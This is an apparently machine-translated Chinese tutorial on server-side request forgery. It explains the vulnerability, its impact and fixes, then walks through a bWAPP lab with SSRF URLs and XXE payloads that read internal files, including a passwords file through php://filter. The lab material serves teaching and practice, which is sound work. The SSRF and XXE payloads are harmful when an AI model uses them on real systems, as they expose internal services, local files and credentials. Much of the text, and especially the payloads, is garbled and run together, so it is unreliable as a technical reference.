什么是ssrf? SRF (伪造来自服务器端的请求)是攻击者形成来自服务器端的请求的安全漏洞。 一般来说,ssrf是面向目标站点的内部系统。 (因为他是从内部系统访问的,所以通过它可以攻击外部网无法访问的内部系统。 也就是说,使目标站点成为中间人。漏洞成因:
SRF之所以形成,大多是因为服务端提供了从其他服务器APP应用获取数据的功能,而没有过滤和限制目的地地址。 例如,从指定的URL地址获取网页的文本内容,或加载指定地址的图像或文档。
例如,http://www.xx.com/a.php? image=http://192.168.0.109/xx.png http://www.Sina.com /
内外网端口和服务扫描
读取主机的本地敏感数据
利用内部和外部托管APP应用程序漏洞
利用内外网网站漏洞漏洞利用
内联网服务和内联网拓扑发现
向内部任意主机上的任意端口发送精心构建的Payload
DOS攻击(请求大文件并始终连接到Keep-Alive Always ) ) ) )。
攻击内部网的web APP应用程序,如xss和sql注入
通过file、dict、gopher等协议获取本地文件等漏洞危害
file协议可用于显示文件
dict协议可用于探测端口
gopher协议支持GET/POST等请求,内联网ftp、redis、telnet、smtp等服务SSRF常用协议
过滤回复信息以验证远程服务器对请求的响应是一种相对简单的方法。 如果web APP应用程序是获取某一类型的文件。 在中,在向用户显示回复结果之前,请先验证返回的信息是否满足标准。 统一错误消息,使用户无法根据错误消息确定远程服务器的端口状态。 请求的端口仅限于http中常用的端口,如80、443、8080和8090。 黑名单ip。 避免将APP用于获取内部网数据和攻击内部网。 禁用不需要的协议。 只允许请求http和https。 可以防止由file:///、gopher://、ftp://等引起的问题。SSRF漏洞修补
共享:使用URL地址共享web内容
转码服务
在线翻译
加载和下载图像:从URL地址下载或下载图像
照片、文章收藏功能
未发布的API实现和调用URL的其他功能
从URL关键字中搜索
注:我个人认为,调整外部资源的所有参数都可能存在ssrf漏洞
SRF实战宝马bwapp(buggywebapplication )是一种集成常见漏洞的web APP应用,旨在为web安全爱好者和开发者提供测试平台,作为漏洞测试的演习场(靶机)。 与WEBGOAT、DVWA类似。
漏洞技巧
开源PHP APP应用
后台Mysql数据库
可在Linux/Windows Apache/IIS上运行
支持WAMP或XAMPP
BWAPP平台特点
将源代码放在PHPstudy下:
修改config.inc.php文件中的数据库连接信息,只更改数据库的用户名和密码即可
本地地址: http://localhost/bw app/install.PHP
单击下面的here进行安装
安装完成后,选择并安装登录模块,缺省密码bee/错误
项目下载地址: https://SourceForge.net/projects/bw app /
任务1分析
3358本地主机/evil/ssrf-1.txt//端口扫描脚本
http://本地host/bw app/rlfi.PHP//级别门户
http://localhost/bwapp/rlfi.php? language=lang _ en.PHP action=go//语言选择
http://localhost/bwapp/rlfi.php? 语言=http://192.168.1.46/bw app/evil/ssrf-1.txt action=go///结构化SRF攻击
任务2分析
单击任务2中的Access获取XXE使用脚本http://127.0.0.1/bw app/evil/ssrf-2.txt。 然后,访问XMLexternalentityAttacks(XXE )练习环境http://XXX.XXX.XXX/bw app/xxe-1.PHP,并使用burpSuite捕获软件包和repeap
BWAPP平台搭建
#访问sesafileontheinternalnetwork? XML版本=' 1.0 '编码=' utf-8 '? 文档类型根[! entitybwappsystem ' http://localhost/bw app/robots.txt ' ] resetloginbwapp;/loginsecretblah/secret/reset # accessesafileontheinternalnetwork # webpagesreturnssomecharactersthatbreakthexmlschemauschemausemauseterauseteteterause ? XML版本=' 1.0 '编码=' utf-8 '? 文档类型根[! entitybwappsystem ' PHP ://filter/read=convert.base64-encode/resource=http://localhost/bw app/passwords/hhorce
尝试使用http协议获取/bWAPP/robots.txt的内容并读取本地a.txt
使用php协议获取/bWAPP/passwords/heroes.xml中的base64编码数据
使用file协议获取bWAPP本机a.txt的内容